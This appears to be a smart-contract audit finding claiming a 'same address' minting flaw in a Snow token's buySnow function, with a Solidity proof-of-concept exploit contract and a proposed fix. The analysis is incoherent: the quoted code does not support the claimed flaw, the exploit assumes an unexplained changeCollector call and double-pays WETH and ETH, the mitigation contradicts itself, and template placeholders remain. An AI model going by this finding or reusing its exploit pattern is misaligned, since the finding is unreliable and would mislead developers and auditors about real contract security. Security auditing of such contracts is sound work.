Root + Impact
Description
Same Address Vulnerability in buySnow Function: The buySnow function does not handle the case when the message sender is the same as the s_collector. In such a scenario, the function could be exploited to mint an excessive amount of tokens.
function buySnow(uint256 amount) external payable canFarmSnow {
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
_mint(msg.sender, amount);
}
s_earnTimer = block.timestamp;
emit SnowBought(msg.sender, amount);
}
Risk
To exploit this vulnerability, an attacker could first call the changeCollector function to set the collector address to their own address. Then, they could repeatedly call the buySnow function, sending the exact amount of WETH required to purchase the desired amount of tokens. Since the message sender and the collector address are the same, the contract would not detect any issues and mint tokens for the attacker.
Proof of Concept
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ISnow} from "./ISnow.sol";
contract SnowExploit {
address private s_target;
uint256 private s_buyFee;
IERC20 private i_weth;
ISnow private i_snow;
constructor(address _target, uint256 _buyFee, address _weth) {
s_target = _target;
s_buyFee = _buyFee;
i_weth = IERC20(_weth);
i_snow = ISnow(s_target);
}
function exploit(uint256 amount) public payable {
i_snow.changeCollector(msg.sender);
while (amount > 0) {
uint256 wethAmount = (s_buyFee * amount);
i_weth.transfer(s_target, wethAmount);
i_snow.buySnow{value: wethAmount}(amount);
amount -= 1000;
}
}
}
Recommended Mitigation
Revert if the collector tries to change the collector address to itself: In the changeCollector function, add a check to ensure that the new collector address is not the same as the current collector address. If it is, revert the transaction with an error message.
- remove this code
+ add this code
require(msg.sender != s_collector, "Cannot buy Snow if you are the collector."); // Add to `buySnow` function,
require(_newCollector != msg.sender, "Collector cannot be the same as the current collector."); // Add to `changeCollector` function